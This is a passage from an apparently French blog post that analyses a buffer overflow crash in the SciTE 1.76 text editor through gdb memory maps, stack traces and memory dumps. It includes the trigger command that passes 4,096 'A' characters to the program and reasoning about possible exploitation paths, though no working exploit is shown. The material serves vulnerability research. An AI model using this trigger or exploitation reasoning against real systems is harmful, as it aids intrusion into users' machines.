&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00581000-00583000 r--p 00092000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00583000-00584000 rw-p 00094000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00584000-0059f000 r-xp 00000000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0059f000-005a0000 r--p 0001b000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005a0000-005a1000 rw-p 0001c000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005a1000-005b9000 r-xp 00000000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005b9000-005ba000 r--p 00017000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005ba000-005bb000 rw-p 00018000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005bb000-005c6000 r-xp 00000000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005c6000-005c7000 r--p 0000a000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005c7000-005c8000 rw-p 0000b000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;005c8000-0060e000 r-xp 00000000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0060e000-0060f000 r--p 00045000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0060f000-00610000 rw-p 00046000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00610000-00687000 r-xp 00000000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00687000-00689000 r--p 00076000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00689000-0068a000 rw-p 00078000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0068a000-006c6000 r-xp 00000000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006c6000-006c7000 r--p 0003b000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006c7000-006c8000 rw-p 0003c000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006c8000-006cb000 r-xp 00000000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006cb000-006cc000 r--p 00002000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006cc000-006cd000 rw-p 00003000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006cd000-006cf000 r-xp 00000000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006cf000-006d0000 r--p 00001000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006d0000-006d1000 rw-p 00002000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006d1000-006d5000 r-xp 00000000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006d5000-006d6000 r--p 00003000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006d6000-006d7000 rw-p 00004000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006d7000-006de000 r-xp 00000000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006de000-006df000 r--p 00006000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006df000-006e0000 rw-p 00007000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;006e0000-00795000 r-xp 00000000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00795000-00796000 r--p 000b4000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00796000-00797000 rw-p 000b5000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00797000-0087d000 r-xp 00000000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0087d000-00881000 r--p 000e6000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00881000-00882000 rw-p 000ea000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00882000-00889000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00889000-008ad000 r-xp 00000000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008ad000-008ae000 r--p 00023000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008ae000-008af000 rw-p 00024000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008af000-008cb000 r-xp 00000000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008cb000-008cc000 r--p 0001b000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008cc000-008cd000 rw-p 0001c000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008cd000-008e2000 r-xp 00000000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008e2000-008e3000 r--p 00014000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008e3000-008e4000 rw-p 00015000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008e4000-008e6000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;008e6000-00a24000 r-xp 00000000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00a24000-00a25000 ---p 0013e000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00a25000-00a27000 r--p 0013e000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00a27000-00a28000 rw-p 00140000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00a28000-00a2b000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00a2b000-00b55000 r-xp 00000000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b55000-00b56000 ---p 0012a000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b56000-00b57000 r--p 0012a000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b57000-00b59000 rw-p 0012b000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b59000-00b5a000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b5a000-00b5c000 r-xp 00000000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b5c000-00b5d000 r--p 00001000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b5d000-00b5e000 rw-p 00002000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b5e000-00b60000 r-xp 00000000 08:01 263637     /usr/lib/libXdamage.so.1.1.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b60000-00b61000 rw-p 00001000 08:01 263637     /usr/lib/libXdamage.so.1.1.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b61000-00b65000 r-xp 00000000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b65000-00b66000 r--p 00003000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b66000-00b67000 rw-p 00004000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00b67000-00bfa000 r-xp 00000000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00bfa000-00bfb000 r--p 00092000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00bfb000-00bfc000 rw-p 00093000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00bfc000-00bfd000 rw-p 00000000 00:00 0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;00bfd000-00c24000 r-xp 00000000 08:01 264324     /usr/lib/libpangoft2-1.0.so.0.2600.0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGABRT, Aborted.&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0012d422 in __kernel_vsyscall ()&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://membres.multimania.fr/profil4/kmkz/Exploits/Capture_audit_scite1.png"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Screen &lt;/span&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0012d000 // VDSO&lt;/span&gt; &lt;span style="color: rgb(192, 192, 192);"&gt;, ça peut etre utile dans le cas de certaines exploitation&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/79s $eip&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d422 &lt;&gt;:      &lt;/span&gt;&lt;incomplete sequence="" 303=""&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d424:     ".shstrtab"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d42e:     ".hash"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d434:     ".dynsym"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d43c:     ".dynstr"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d444:     ".gnu.version"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d451:     ".gnu.version_d"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d460:     ".note"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d466:     ".eh_frame_hdr"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d474:     ".eh_frame"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d47e:     ".dynamic"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d487:     ".data"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d48d:     ".text"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x12d493:     ""&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon ,&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;essayons donc d'y voir plus clair :&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) i stack&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#0  0x0012d422 in __kernel_vsyscall ()&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#1  0x009104d1 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#2  0x00913932 in *__GI_abort () at abort.c:92&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#3  0x00946fc5 in __libc_message (do_abort=2,&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   fmt=0xa0881d "*** %s ***: %s terminated\n")&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   at ../sysdeps/unix/sysv/linux/libc_fatal.c:189&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#4  0x009c7008 in *__GI___fortify_fail (msg=0xa087c7 "buffer overflow detected")&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   at fortify_fail.c:32&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#5  0x009c6040 in *__GI___chk_fail () at chk_fail.c:29&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#6  0x009c536a in __strcat_chk (&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   dest=0xbfff4734 "/home/kmkz/0Days/Scite_1.76/", 'A' &lt;/span&gt;&lt;se src="0x833c1f0" home="" kmkz="" 0days="" 76="" a=""&gt;&lt;se destlen="0)" at="" 51="" 7="" 0x08074043="" 8="" 0x08078fc6="" 9="" 0x08079349="" 10="" 0x08070944="" 11="" 0x0805dc32="" 12="" 0x0805dd8a="" 13="" 0x008fcb56="" in="" __libc_start_main="" main="0x805dca1," argc="2," ubp_av="0xbfffb524," init="0x8106380," fini="0x8106370," rtld_fini="0x11dd20"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;_dl_fini&gt;,&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   stack_end=0xbfffb51c) at libc-start.c:220&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#14 0x08052d41 in ?? ()&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) i auxv&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;32   AT_SYSINFO           Special system info/entry points 0x12d420&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;33   AT_SYSINFO_EHDR      System-supplied DSO's ELF header 0x12d000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;16   AT_HWCAP             Machine-dependent CPU capability hints 0xbfebf3ff&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;6    AT_PAGESZ            System page size               4096&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;17   AT_CLKTCK            Frequency of times()           100&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;3    AT_PHDR              Program headers for program    0x8048034&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;4    AT_PHENT             Size of program header entry   32&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;5    AT_PHNUM             Number of program headers      9&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;7    AT_BASE              Base address of interpreter    0x110000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;8    AT_FLAGS             Drapeaux                       0x0&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;9    AT_ENTRY             Entry point of program         0x8052d20&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;11   AT_UID               Real user ID                   1000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;12   AT_EUID              Effective user ID              1000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;13   AT_GID               Real group ID                  1000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;14   AT_EGID              Effective group ID             1000&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;23   AT_SECURE            Boolean, was exec setuid-like? 0&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;25   AT_RANDOM            Address of 16 random bytes     0xbfffb66b --&gt; allons voir ce cet offset contient&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;31   AT_EXECFN            File name of executable        0xbfffffed "/usr/bin/scite"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;15   AT_PLATFORM          String identifying platform    0xbfffb67b "i686"&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0    AT_NULL              End of vector                  0x0&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/48x 0xbfffb66b&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb66b:    0x8a29b215    0x563d86b0    0xe525c77b    0x1a1921ee&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb67b:    0x36383669    0x00000000    0x00000000    0x7273752f&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb68b:    0x6e69622f    0x6963732f    0x41006574    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb69b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6ab:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6bb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6cb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6db:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6eb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb6fb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb70b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffb71b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;...&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Nos "A"&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;...&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff66b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff67b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff68b:    0x41414141    0x41414141    0x00414141    0x4942524f&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff69b:    0x4f535f54    0x54454b43    0x3d524944    0x706d742f&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff6ab:    0x62726f2f    0x6b2d7469    0x007a6b6d    0x5f485353&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbffff6bb:    0x4e454741    0x49505f54    0x34313d44    0x47003033&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#13 0x008fcb56 in __libc_start_main (main=0x805dca1, argc=2, ubp_av=0xbfffb524,&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   init=0x8106380, fini=0x8106370, rtld_fini=0x11dd20 &lt;_dl_fini&gt;,&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   stack_end=0xbfffb51c) at libc-start.c:220&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Si on look a quelques offsets pret , on s'apperçois que nos \x41 se retrouve bien sur la stack (grace a  stack_end  et la ligne :&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;25   AT_RANDOM            Address of 16 random bytes     0xbfffb66b        .....    entre autre )&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;  /* Début des \x41 a l'offset de fin de la stack +350 octets (soit 350 octets plus haut , la pile croit vers les adresses basses) */&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;On peux  néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow ( et a priori EIP ne peut etre overwrité).&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;Une de mes "intuitions" me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section .dtors puis .ctors :&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;la .dtors ne donnant rien ...&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;breakpoint sur .ctors :&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;r&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;The program being debugged has been started already.&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Start it from the beginning? (y or n) y&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Starting program: /usr/bin/scite `perl -e'print"A"x4096'`&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[Thread debugging using libthread_db enabled]&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0810643b in ?? ()&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;crash a l'appel de la .ctors ??&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps (ret into entre autre) ;-) et puis c'est tout l'intéret aprés tout .&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;J'espere que cette petite presentation  de mon PoC concernant Scite  1.76 vous donnera envie de voir la suite (un jour peu etre qui sait ).&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.exploit-db.com/exploits/14083/"&gt;Link du PoC &lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/se&gt;&lt;/se&gt;&lt;/incomplete&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-2031252747726573377?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
